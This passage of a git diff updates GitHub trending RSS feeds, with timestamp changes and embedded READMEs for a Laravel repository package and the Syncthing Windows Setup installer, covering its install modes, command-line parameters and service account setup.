$this-&gt;join('profile')-&gt;where('users.id',$userId)-&gt;first(); return $user?-&gt;photo ?? 'path/to/no-profile.png'; } //You can use multiple join on relations defied on joinable, without filter or sort method public function getUserWithAllRelations(int $userId) { return $this-&gt;join('activities')-&gt;join('profile')-&gt;find($userId); } } </code></pre> <p>Now you can use this repository in your controller like below:</p> <pre><code class="language-php">class UserController extends Controller { private UserRepository $repo; public function __construct(UserRepository $userRepo) { $this-&gt;repo = $userRepo; } public function index(Request $request) { $users = $this-&gt;repo-&gt;getAll( $request?-&gt;search, $request?-&gt;filter, $request?-&gt;sort ); return response($users); } } </code></pre> <p>After set controller and index method on your router (e.g. GET <a href="http://127.0.0.1/api/v1/admin/users">http://127.0.0.1/api/v1/admin/users</a>)</p> <p>Now your front-end can call API with <code>search</code> , <code>filter</code> , <code>sort</code> query param like this:</p> <pre><code class="language-bash">http://127.0.0.1/api/v1/admin/users/?search=john&amp;filter=id:upper_5@activities.activity_name:equal_comment@profile.photo:is_not-null&amp;sort=activities.activity_time:desc </code></pre> <p>This is very simple...</p> <h3>Method Naming in Repository Classes</h3> <p>When you need to define a method in your repository with the same name as an Eloquent method, use <code>$this-&gt;query()</code> to avoid conflicts. This approach allows you to safely leverage Eloquentโ€™s functionality.</p> <p>For a create method:</p> <pre><code class="language-php">public function create(array $data) { // Call the `create` method on the query builder provided by `$this-&gt;query()` return $this-&gt;query()-&gt;create($data); } </code></pre> <p>This will use the query builderโ€™s create method directly.</p> <h3>Contributing</h3> <p>We welcome contributions from the community to improve and extend this library. If you'd like to contribute, please follow these steps:</p> <ol> <li>Fork the repository on GitHub.</li> <li>Clone your fork locally.</li> <li>Create a new branch for your feature or bug fix.</li> <li>Make your changes and commit them with clear, concise commit messages.</li> <li>Push your changes to your fork on GitHub.</li> <li>Submit a pull request to the main repository.</li> </ol> <h3>Reporting Bugs and Security Issues</h3> <p>If you discover any security vulnerabilities or bugs in this project, please let us know through the following channels:</p> <ul> <li> <p><strong>GitHub Issues</strong>: You can <a href="https://github.com/sajadsdi/laravel-repository/issues">open an issue</a> on our GitHub repository to report bugs or security concerns. Please provide as much detail as possible, including steps to reproduce the issue.</p> </li> <li> <p><strong>Contact</strong>: For sensitive security-related issues, you can contact us directly through the following contact channels</p> </li> </ul> <h3>Contact</h3> <p>If you have any questions, suggestions, financial, or if you'd like to contribute to this project, please feel free to contact the maintainer:</p> <ul> <li>Email: <a href="mailto:thunder11like@gmail.com">thunder11like@gmail.com</a></li> </ul> <p>We appreciate your feedback, support, and any financial contributions that help us maintain and improve this project.</p> <h2>License</h2> <p>The Advanced Laravel Repository Package is open-sourced software licensed under the <a href="https://raw.githubusercontent.com/sajadsdi/laravel-repository/main/LICENSE">MIT license</a>.</p> + \ No newline at end of file diff --git a/pic/daily/index.xml b/pic/daily/index.xml index 1f879837133..4ec5e59f1e8 100644 --- a/pic/daily/index.xml +++ b/pic/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pic Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:39:04Z + 2024-01-06T01:37:16Z Daily Trending of Pic in GitHub \ No newline at end of file diff --git a/pickle/daily/index.xml b/pickle/daily/index.xml index aa1378dae86..403ead653e2 100644 --- a/pickle/daily/index.xml +++ b/pickle/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pickle Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:39:03Z + 2024-01-06T01:37:16Z Daily Trending of Pickle in GitHub \ No newline at end of file diff --git a/picolisp/daily/index.xml b/picolisp/daily/index.xml index 76303753d33..27587222477 100644 --- a/picolisp/daily/index.xml +++ b/picolisp/daily/index.xml @@ -1,7 +1,7 @@ GitHub PicoLisp Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:39:33Z + 2024-01-06T01:37:44Z Daily Trending of PicoLisp in GitHub \ No newline at end of file diff --git a/piglatin/daily/index.xml b/piglatin/daily/index.xml index 31f541cdbd3..31258fb7646 100644 --- a/piglatin/daily/index.xml +++ b/piglatin/daily/index.xml @@ -1,7 +1,7 @@ GitHub PigLatin Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:39:35Z + 2024-01-06T01:37:42Z Daily Trending of PigLatin in GitHub \ No newline at end of file diff --git a/pike/daily/index.xml b/pike/daily/index.xml index 26a60449e71..4f72106c94b 100644 --- a/pike/daily/index.xml +++ b/pike/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pike Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:39:34Z + 2024-01-06T01:37:43Z Daily Trending of Pike in GitHub \ No newline at end of file diff --git a/plantuml/daily/index.xml b/plantuml/daily/index.xml index 30d69181c05..305742b707c 100644 --- a/plantuml/daily/index.xml +++ b/plantuml/daily/index.xml @@ -1,7 +1,7 @@ GitHub PlantUML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:39:33Z + 2024-01-06T01:37:43Z Daily Trending of PlantUML in GitHub \ No newline at end of file diff --git a/plpgsql/daily/index.xml b/plpgsql/daily/index.xml index d1248de3d72..9bb83d2da67 100644 --- a/plpgsql/daily/index.xml +++ b/plpgsql/daily/index.xml @@ -1,7 +1,7 @@ GitHub PLpgSQL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:39:40Z + 2024-01-06T01:37:47Z Daily Trending of PLpgSQL in GitHub \ No newline at end of file diff --git a/plsql/daily/index.xml b/plsql/daily/index.xml index 84d4500e097..f5be45e387a 100644 --- a/plsql/daily/index.xml +++ b/plsql/daily/index.xml @@ -1,7 +1,7 @@ GitHub PLSQL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:39:38Z + 2024-01-06T01:37:48Z Daily Trending of PLSQL in GitHub \ No newline at end of file diff --git a/pod-6/daily/index.xml b/pod-6/daily/index.xml index 5cc160eb179..e6dac977208 100644 --- a/pod-6/daily/index.xml +++ b/pod-6/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pod 6 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:39:37Z + 2024-01-06T01:37:46Z Daily Trending of Pod 6 in GitHub \ No newline at end of file diff --git a/pod/daily/index.xml b/pod/daily/index.xml index b9ee609acef..cb49b13a214 100644 --- a/pod/daily/index.xml +++ b/pod/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pod Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:39:37Z + 2024-01-06T01:37:45Z Daily Trending of Pod in GitHub \ No newline at end of file diff --git a/pogoscript/daily/index.xml b/pogoscript/daily/index.xml index 6ed9f1b40cd..1b6299d0a61 100644 --- a/pogoscript/daily/index.xml +++ b/pogoscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub PogoScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:39:41Z + 2024-01-06T01:37:50Z Daily Trending of PogoScript in GitHub \ No newline at end of file diff --git a/pony/daily/index.xml b/pony/daily/index.xml index e37fb0fe354..37c393b394a 100644 --- a/pony/daily/index.xml +++ b/pony/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pony Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:39:43Z + 2024-01-06T01:37:49Z Daily Trending of Pony in GitHub \ No newline at end of file diff --git a/postcss/daily/index.xml b/postcss/daily/index.xml index f93f8bfe4bf..7f04e068ef6 100644 --- a/postcss/daily/index.xml +++ b/postcss/daily/index.xml @@ -1,7 +1,7 @@ GitHub PostCSS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:39:48Z + 2024-01-06T01:37:53Z Daily Trending of PostCSS in GitHub \ No newline at end of file diff --git a/postscript/daily/index.xml b/postscript/daily/index.xml index 33082f0accb..d4ec24c6147 100644 --- a/postscript/daily/index.xml +++ b/postscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub PostScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:39:45Z + 2024-01-06T01:37:54Z Daily Trending of PostScript in GitHub \ No newline at end of file diff --git a/pov-ray-sdl/daily/index.xml b/pov-ray-sdl/daily/index.xml index fe78f309a16..7dbe3ca94dd 100644 --- a/pov-ray-sdl/daily/index.xml +++ b/pov-ray-sdl/daily/index.xml @@ -1,7 +1,7 @@ GitHub POV-Ray SDL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:39:47Z + 2024-01-06T01:37:52Z Daily Trending of POV-Ray SDL in GitHub \ No newline at end of file diff --git a/powerbuilder/daily/index.xml b/powerbuilder/daily/index.xml index efeee036b6f..cbe4f91fea7 100644 --- a/powerbuilder/daily/index.xml +++ b/powerbuilder/daily/index.xml @@ -1,7 +1,7 @@ GitHub PowerBuilder Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:39:46Z + 2024-01-06T01:37:54Z Daily Trending of PowerBuilder in GitHub \ No newline at end of file diff --git a/powershell/daily/index.xml b/powershell/daily/index.xml index 0623a51dbdd..d2f74015d45 100644 --- a/powershell/daily/index.xml +++ b/powershell/daily/index.xml @@ -1,14 +1,14 @@ GitHub PowerShell Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:39:54Z + 2024-01-06T01:37:59Z Daily Trending of PowerShell in GitHub - Bill-Stewart/SyncthingWindowsSetup - 2024-01-05T01:39:54Z - tag:github.com,2024-01-05:/Bill-Stewart/SyncthingWindowsSetup - - <p>Syncthing Windows Setup</p><hr><h1>Syncthing Windows Setup</h1> <p>Syncthing Windows Setup is a lightweight yet full-featured Windows installer for the open-source <a href="https://syncthing.net">Syncthing</a> file-synchronization application.</p> <hr> <!-- omit in toc --> <h2>Table of Contents</h2> <ul> <li><a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#system-requirements">System Requirements</a></li> <li><a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#download">Download</a></li> <li><a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#background">Background</a></li> <li><a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#version-history">Version History</a></li> <li><a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#upgrading-administrative-installations">Upgrading Administrative Installations</a></li> <li><a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#downgrading-an-installation">Downgrading an Installation</a></li> <li><a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#setup-command-line-parameters">Setup Command Line Parameters</a></li> <li><a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#administrative-vs-non-administrative-installation-mode">Administrative vs. Non Administrative Installation Mode</a> <ul> <li><a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#non-administrative-current-user-installation-mode">Non Administrative (Current User) Installation Mode</a></li> <li><a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#administrative-all-users-installation-mode">Administrative (All Users) Installation Mode</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#windows-service-installation">Windows Service Installation</a> <ul> <li><a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#local-user-service-account-considerations">Local User Service Account Considerations</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#granting-folder-permissions-for-the-service-account">Granting Folder Permissions for the Service Account</a></li> <li><a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#setup-tasks">Setup Tasks</a></li> <li><a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#start-menu-shortcuts">Start Menu Shortcuts</a></li> <li><a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#managing-automatic-startup">Managing Automatic Startup</a> <ul> <li><a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#managing-automatic-startup-for-the-current-user">Managing Automatic Startup for the Current User</a></li> <li><a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#managing-automatic-startup-for-the-windows-service-all-users">Managing Automatic Startup for the Windows Service (All Users)</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#checking-if-syncthing-is-running">Checking If Syncthing Is Running</a></li> <li><a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#windows-firewall-rules">Windows Firewall Rules</a> <ul> <li><a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#firewall-rule-creation">Firewall Rule Creation</a></li> <li><a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#creating-the-firewall-rule-manually">Creating the Firewall Rule Manually</a></li> <li><a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#firewall-rule-removal">Firewall Rule Removal</a></li> <li><a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#removing-the-firewall-rule-manually">Removing the Firewall Rule Manually</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#scripts">Scripts</a></li> <li><a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#finding-the-syncthing-configuration-folder">Finding the Syncthing Configuration Folder</a></li> <li><a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#uninstalling-syncthing">Uninstalling Syncthing</a></li> <li><a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#silent-install-and-uninstall">Silent Install and Uninstall</a> <ul> <li><a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#silent-non-administrative-current-user-installation">Silent Non Administrative (Current User) Installation</a></li> <li><a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#silent-administrative-all-users-installation">Silent Administrative (All Users) Installation</a></li> <li><a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#silent-uninstall">Silent Uninstall</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#reporting-problems">Reporting Problems</a></li> <li><a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#acknowledgments">Acknowledgments</a></li> </ul> <hr> <h2>System Requirements</h2> <p>The Windows build of Syncthing is compiled using the Go language, which requires a recent operating system version. Accordingly, installing Syncthing using this installer requires Windows 10 or later.</p> <h2>Download</h2> <p>You can download the latest version from the Github Releases page:</p> <p><a href="https://github.com/Bill-Stewart/SyncthingWindowsSetup/releases/">https://github.com/Bill-Stewart/SyncthingWindowsSetup/releases/</a></p> <h2>Background</h2> <p>Syncthing Windows Setup (herein referred to as "Setup") provides a <a href="https://syncthing.net/">Syncthing</a> installer for Windows, built using <a href="https://www.jrsoftware.org/isinfo.php">Inno Setup</a>. It provides the following features:</p> <ul> <li> <p>Installs the appropriate Windows platform (AMD64, etc.) version of Syncthing using a single installer</p> </li> <li> <p>Supports non administrative (current user) and administrative (all users) installation (see <a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#administrative-vs-non-administrative-installation-mode">Administrative vs. Non Administrative Installation Mode</a>)</p> </li> <li> <p>When installing for the current user, Setup creates a scheduled task that starts Syncthing at logon (if selected)</p> </li> <li> <p>When installing for all users, installs Syncthing as a Windows service using <a href="https://github.com/mtkennerly/shawl">shawl</a> (see <a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#windows-service-installation">Windows Service Installation</a>)</p> </li> <li> <p>Supports adding a Windows Firewall rule for Syncthing (see <a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#windows-firewall-rules">Windows Firewall Rules</a>)</p> </li> <li> <p>Installs a set of scripts for ease-of-use (see <a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#scripts">Scripts</a>)</p> </li> <li> <p>Supports silent (hands-free) installation (see <a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#silent-install-and-uninstall">Silent Install and Uninstall</a>)</p> </li> <li> <p>Allows localization of Setup and scripts (see <code>building.md</code> file for details)</p> </li> </ul> <h2>Version History</h2> <p>See <code>history.md</code>.</p> <h2>Upgrading Administrative Installations</h2> <p>Administrative installations in versions 1.19.1 and older configured the Windows service to run using the Windows built-in <strong>LocalService</strong> account. To improve security, Setup versions newer than 1.19.1 configure the Windows service to run using a local service user account instead (<strong>SyncthingServiceAcct</strong> by default). As a part of this change, the Syncthing configuration data is now located in the <em>CommonAppData</em><code>\Syncthing</code> folder (e.g., <code>C:\ProgramData\Syncthing</code>).</p> <p>If you upgrade an administrative installation from version 1.19.1 or older, Setup version 1.27.0 and newer will uninstall the old version and install the new version, but it will no longer migrate the configuration data. Because of this change, it is recommended to first upgrade to version 1.26.1 to migrate the configuration data, and then upgrade again to version 1.27.0 or later.</p> <h2>Downgrading an Installation</h2> <p>To downgrade an installation, first uninstall the current installed version, and the reinstall the older version. (Keep in mind that the Syncthing executable will automatically upgrade itself unless automatic upgrades are disabled.)</p> <h2>Setup Command Line Parameters</h2> <p>The following table lists the most common Setup command line parameters:</p> <table> <thead> <tr> <th>Parameter</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td><code>/currentuser</code></td> <td>Runs Setup in non-administrative (current user) installation mode (see <a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#administrative-vs-non-administrative-installation-mode">Administrative vs. Non Administrative Installation Mode</a>).</td> </tr> <tr> <td><code>/allusers</code></td> <td>Runs Setup in administrative (all users) installation mode (see <a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#administrative-vs-non-administrative-installation-mode">Administrative vs. Non Administrative Installation Mode</a>).</td> </tr> <tr> <td><code>/dir="</code><em>location</em><code>"</code></td> <td>Specifies the installation folder. The default installation folder depends on whether Setup runs in administrative (all users) or non administrative (current user) installation mode.</td> </tr> <tr> <td><code>/group="</code><em>name</em><code>"</code></td> <td>Specifies the Start Menu group name. The default group name is <strong>Syncthing</strong>.</td> </tr> <tr> <td><code>/tasks="</code><em>tasks</em><code>"</code></td> <td>Specifies the tasks for the <strong>Select Additional Tasks</strong> wizard page (see <a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#setup-tasks">Setup Tasks</a>).</td> </tr> <tr> <td><code>/mergetasks="</code><em>tasks</em><code>"</code></td> <td>Like <code>/tasks</code>, except Setup merges the specified tasks with the set of tasks that would have otherwise been selected by default.</td> </tr> <tr> <td><code>/noicons</code></td> <td>Prevents creation of a Start Menu group.</td> </tr> <tr> <td><code>/silent</code></td> <td>Runs Setup without requiring user interaction (see <a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#silent-install-and-uninstall">Silent Install and Uninstall</a>).</td> </tr> <tr> <td><code>/log="</code><em>filename</em><code>"</code></td> <td>Logs Setup activity to the specified file. The default is not to create a log file.</td> </tr> </tbody> </table> <p>See <a href="https://jrsoftware.org/ishelp/index.php?topic=setupcmdline">Inno Setup's documentation</a> for more details about the above parameters.</p> <p>In addition to the standard Inno Setup parameters, Setup also supports some custom command line parameters. The parameters marked with <strong>[*]</strong> correspond to the settings on the <strong>Select Configuration Settings</strong> page in Setup.</p> <table> <thead> <tr> <th>Parameter</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td><code>/autoupgradeinterval=</code><em>interval</em></td> <td><strong>[*]</strong> Specifies the number of hours that Syncthing should check for upgrades and automatically upgrade itself. The default value is 12 hours. Specify <strong>0</strong> to disable automatic upgrades.</td> </tr> <tr> <td><code>/listenaddress=</code><em>address</em></td> <td><strong>[*]</strong> Specifies the listen address for the web GUI configuration page. The default listen address is <strong>127.0.0.1</strong>.</td> </tr> <tr> <td><code>/listenport=</code><em>port</em></td> <td><strong>[*]</strong> Specifies the TCP port number for the web GUI configuration page. The default port number is <strong>8384</strong>.</td> </tr> <tr> <td><code>/relaysenabled=</code><em>value</em></td> <td><strong>[*]</strong> Specifies whether relays are enabled (<em>value</em> must be either <strong>true</strong> or <strong>false</strong>). The default value is <strong>true</strong> (i.e., relays are enabled).</td> </tr> <tr> <td><code>/serviceaccountusername=</code><em>username</em></td> <td>For administrative installation mode, specifies the local service user account user name. The default user name is <strong>SyncthingServiceAcct</strong>.</td> </tr> <tr> <td><code>/noconfigpage</code></td> <td>Prevents the "Open Syncthing configuration page" checkbox from appearing on the final Setup wizard page.</td> </tr> </tbody> </table> <p>Please note the following:</p> <ul> <li> <p>The <code>/autoupgradeinterval</code> parameter affects the <code>syncthing.exe</code> executable only (it does not download or run a new version of Setup). If this setting is greater than 0 and Syncthing detects a new version released by the Syncthing team on the Internet, only the <code>syncthing.exe</code> executable is upgraded.</p> </li> <li> <p>Please read the <a href="https://docs.syncthing.net/users/guilisten.html">Syncthing documentation page about the GUI listen address</a> before changing the listen address and port numbers from the defaults.</p> </li> <li> <p>For more information about relays, please see the <a href="https://docs.syncthing.net/users/relaying">Syncthing documentation page about relaying</a>. Please note that relaying might trigger network security alerts if an outgoing connection is made to a relay network host on the Internet that is being shared by a network service prohibited by network security teams on business or government networks. It is recommended to check with network security teams before using Syncthing on these kinds of networks.</p> </li> <li> <p>It is recommended not to use the <code>/serviceaccountusername</code> parameter to change the local service account user name unless that user name is already in use for some other purpose.</p> </li> </ul> <h2>Administrative vs. Non Administrative Installation Mode</h2> <p>Setup supports both non administrative (current user) and administrative (all users) installation modes. For an initial installation (not a reinstall or upgrade), Setup displays a dialog box requesting whether you want to install for the current user only (non administrative installation mode) or for all users (administrative installation mode). You can bypass the dialog by specifying either <code>/currentuser</code> or <code>/allusers</code> on Setup's command line (see <a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#setup-command-line-parameters">Setup Command Line Parameters</a>). When you run a newer version of Setup (i.e., an upgrade) or reinstall the current version, Setup does does not display the dialog. To perform an initial installation in silent mode (see <a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#silent-install-and-uninstall">Silent Install and Uninstall</a>), you must specify either <code>/currentuser</code> or <code>/allusers</code> on Setup's command line.</p> <p>The main advantage of installing in administrative (all users) installation mode is that Syncthing runs as a Windows service and runs without any users being logged on; however, you must manually configure folder permissions to add folders to the Syncthing configuration (see <a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#granting-folder-permissions-for-the-service-account">Granting Folder Permissions for the Service Account</a>).</p> <p>See below for the differences between the two modes.</p> <h3>Non Administrative (Current User) Installation Mode</h3> <p>The following notes apply to non administrative (current user) installation mode:</p> <ul> <li> <p>Setup installs Syncthing for the current user only</p> </li> <li> <p>The default installation folder is <em>LocalAppData</em><code>\Programs\Syncthing</code> (where <em>LocalAppData</em> is the current user's local application data folder; e.g., <code>C:\Users\UserName\AppData\Local</code>)</p> </li> <li> <p>Setup does not install Syncthing as a Windows service</p> </li> <li> <p>By default, Setup creates a scheduled task that starts Syncthing in the background when the current user logs on (you can change this by deselecting the checkbox on the <strong>Select Additional Tasks</strong> wizard page)</p> </li> <li> <p>Syncthing runs only when the installing user logs on</p> </li> <li> <p>Starting and stopping Syncthing is managed by <a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#start-menu-shortcuts">Start Menu shortcuts</a></p> </li> <li> <p>Setup prompts to create a Windows firewall rule for Syncthing (requires administrative permissions)</p> </li> <li> <p>By default, Setup starts Syncthing after installation completes if a firewall rule exists for it; you can change this by deselecting the checkbox on the last Setup wizard page or by specifying the <code>/nostart</code> parameter on Setup's command line</p> </li> <li> <p>No special folder permissions are required to add folders to the Syncthing configuration</p> </li> <li> <p>Administrative permissions are not required to make changes to files in the Syncthing configuration folder</p> </li> </ul> <h3>Administrative (All Users) Installation Mode</h3> <p>The following notes apply to administrative (all users) installation mode:</p> <ul> <li> <p>Setup installs Syncthing for all users of the computer</p> </li> <li> <p>The default installation folder is <em>ProgramFiles</em><code>\Syncthing</code> (where <em>ProgramFiles</em> is the system's <code>Program Files</code> folder; e.g., <code>C:\Program Files</code>)</p> </li> <li> <p>Setup installs Syncthing as a Windows service (see <a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#windows-service-installation">Windows Service Installation</a>)</p> </li> <li> <p>By default, Syncthing starts automatically when the system boots (you can change this by deselecting the checkbox on the <strong>Select Additional Tasks</strong> wizard page)</p> </li> <li> <p>Syncthing runs as a service and synchronizes folders even when no users are logged on</p> </li> <li> <p>Starting and stopping Syncthing is managed by stopping and starting the Windows service</p> </li> <li> <p>Setup automatically creates a Windows firewall rule for Syncthing</p> </li> <li> <p>By default, Setup starts the Syncthing service after installation completes; you can change this by deselecting the checkbox on the last Setup wizard page or by specifying the <code>/nostart</code> parameter on Setup's command line</p> </li> <li> <p>You must manually grant folder permissions for folders you want to add to the Syncthing configuration (see <a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#granting-folder-permissions-for-the-service-account">Granting Folder Permissions for the Service Account</a>)</p> </li> <li> <p>Administrative permissions are required to make changes to files in the Syncthing configuration folder</p> </li> </ul> <h2>Windows Service Installation</h2> <p>When you run Setup in administrative (all users) installation mode, it installs a Windows service for Syncthing using <a href="https://github.com/mtkennerly/shawl">shawl</a>. The service runs using a local service account (<strong>SyncthingServiceAcct</strong> by default). By default, Setup configures the service to start at boot. You can change this default by deselecting the <code>startatboot</code> task when installing (see <a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#setup-tasks">Setup Tasks</a>).</p> <h3>Local User Service Account Considerations</h3> <p>In administrative installation mode, Setup setup creates or updates the local service user account (<strong>SyncthingServiceAcct</strong> by default) with a very long, random password and configures the following settings for the account:</p> <ul> <li> <p>It sets the account's password not to expire</p> </li> <li> <p>It grants the account the <strong>Log on as a service</strong> user right</p> </li> </ul> <p>If the computer is joined to a domain, be aware that Group Policy Object (GPO) settings might override either or both of these settings for the local service user account, which can prevent the service from working. If GPO settings override either or both of these settings, you can do either of the following:</p> <ul> <li> <p>Uninstall the administrative installation of Syncthing and install for the current user instead, or</p> </li> <li> <p>Update the relevant GPO(s) to prevent overriding of the setting(s).</p> </li> </ul> <h2>Granting Folder Permissions for the Service Account</h2> <p>In administrative (all users) installation mode, Syncthing as a Windows service using a local service user account (<strong>SyncthingServiceAcct</strong> by default). Normally the local service user account does not have permissions to folders you want to synchronize using Syncthing. This means you must grant the local service user account "Modify" permissions to any folders specified in the Syncthing configuration.</p> <p>You can grant the local service user account "Modify" permissions to a folder using the Windows File Explorer. Alternatively, you can run the <strong>icacls</strong> command from the command line; e.g.:</p> <pre><code>icacls "C:\Users\username\Documents" /grant "SyncthingServiceAcct:(OI)(CI)M" /t </code></pre> <p>Of course, replace <code>C:\Users\username\Documents</code> with the correct folder name, and replace <code>SyncthingServiceAcct</code> with the correct service account user name if you changed the default service account user name.</p> <p>Once the local service user account has "Modify" permissions for the folder, you can add it to the Syncthing configuration.</p> <blockquote> <p>NOTE: Granting folder permissions is only needed if you installed Syncthing in administrative (all users) installation mode.</p> </blockquote> <h2>Setup Tasks</h2> <p>The <strong>Select Additional Tasks</strong> wizard page in Setup specifies additional tasks that Setup should perform. Available tasks depend on whether Setup runs in administrative (all users) or non administrative (current user) installation mode.</p> <table> <thead> <tr> <th>Task Description</th> <th>Name</th> <th>Installation Mode</th> </tr> </thead> <tbody> <tr> <td>Start Syncthing service automatically when system boots</td> <td><code>startatboot</code></td> <td>All users</td> </tr> <tr> <td>Start Syncthing service after installation</td> <td><code>startserviceafterinstall</code></td> <td>All users</td> </tr> <tr> <td>Start Syncthing automatically when logging on</td> <td><code>startatlogon</code></td> <td>Current user</td> </tr> <tr> <td>Start Syncthing after installation</td> <td><code>startafterinstall</code></td> <td>Current user</td> </tr> </tbody> </table> <p>The <code>/tasks</code> and <code>/mergetasks</code> command line parameters (see <a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#setup-command-line-parameters">Setup Command Line Parameters</a>) specify which tasks are selected (by default, all tasks are selected).</p> <h2>Start Menu Shortcuts</h2> <p>Setup creates the following Start Menu shortcuts, depending on the <a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#administrative-vs-non-administrative-installation-mode">installation mode</a>:</p> <table> <thead> <tr> <th>Shortcut</th> <th>Installation Mode</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>Syncthing Configuration Page</td> <td>Both</td> <td>Opens the Syncthing GUI configuration page using the default browser</td> </tr> <tr> <td>Start Syncthing</td> <td>Current user</td> <td>Starts Syncthing in the background for the current user</td> </tr> <tr> <td>Stop Syncthing</td> <td>Current user</td> <td>Stops the Syncthing instance running for the current user</td> </tr> </tbody> </table> <ul> <li> <p>The <strong>Syncthing Configuration Page</strong> shortcut opens the <code>ConfigurationPage.url</code> file in the Syncthing installation folder (i.e., it opens the Syncthing GUI configuration page).</p> </li> <li> <p>The <strong>Start Syncthing</strong> and <strong>Stop Syncthing</strong> shortcuts run the <code>StartSyncthing.js</code> and <code>StopSyncthing.js</code> scripts, respectively (see <a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#scripts">Scripts</a>).</p> </li> </ul> <h2>Managing Automatic Startup</h2> <p>Setup configures Syncthing 